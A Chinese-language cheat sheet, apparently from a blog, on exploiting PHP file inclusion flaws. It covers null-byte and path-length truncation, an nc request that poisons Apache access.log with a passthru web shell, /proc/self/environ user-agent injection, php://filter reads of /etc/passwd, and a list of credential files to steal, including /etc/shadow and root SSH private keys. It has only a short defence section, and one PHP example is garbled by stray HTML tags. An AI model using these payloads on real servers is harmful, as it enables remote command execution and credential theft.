include后的文件带后缀的利用条件:
(1)gpc=Off 不然%00会变成\0的
(2)php < 5.3.4 本人测试在5.4.4中未成功,详情见CVE-2006-7243
include包含的时候一定得有相关的权限,apache用户和所访问文件至少也得达到同组权限。
截断方法:
(1)%00,gpc=Off
(2)长文件名,linux超过4096字节就会被php截断,没有实验成功(5.2.8),windows 259字节,没尝试,这里与GPC没有关系。 linux下使用../../../../../etc/passwd/./././././././ ,windows使用.....,楼下连接测试成功或者和linux一样
包含文件技巧:
1,包含上传后的文件,比如说图片,文件等
2,data:// php://input等伪协议,需要allow_url_include=on
3,日志文件,access.log,通过nc来去掉header,防止空格被编码成%20.
root@kali:/var/log/apache2# nc 127.0.0.1 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
查看access.log有日志:
127.0.0.1 - - [09/Apr/2015:03:53:21 -0400] "root@kali:/var/log/apache2# nc -h" 400 582 "-" "-"
127.0.0.1 - - [09/Apr/2015:03:53:45 -0400] "GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1" 404 480 "-" "-"
然后直接加载该日志,如果日志很大的话,可以写一句话创建一个文件什么的,执行一次就能拿到shell
eg:
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<span style="font-family: Arial, Helvetica, sans-serif;"><?php echo hacked ?></span><span style="font-family: Arial, Helvetica, sans-serif;">");fclose($fp);?></span>
4,/proc/self/environ中user-agent可改
(1):about:config 后加general.useragent.override ,value 填 <?phpinfo();?>即可,或者使用useragent switch
测试过程中,要么是没权限,要么是在这个文件中没有读到user-agent字段
5,session file
6,另外其他php创建的文件什么的
比较优雅的读出文件:
https://10.20.30.50/fi?file=php://filter/read=convert.base64-encode/resource=../../../../../etc/passwd%00
测试文件夹是否存在。。
../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
用于目录遍历,需要读权限:
/var/lib/locate.db
/var/lib/mlocate/mlocate.db
/usr/local/apache2/conf/httpd.conf
有root权限:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
如何防范:
(1)gpc
(2)readdir限制
(3)当然不能动态包含了
file_exists,move_uploaded_files,file_get_contents都受影响
远程文件包含:
(1)allow_url_include=On,allow_url_fopen=On
可以用?来截断
可以用到php的协议来读取文件,这样就能包含php文件了,哈哈,不然包含php文件都是被执行了。
参考:
http://www.joychou.org/index.php/web/truncated.html
https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
http://drops.wooyun.org/tips/3827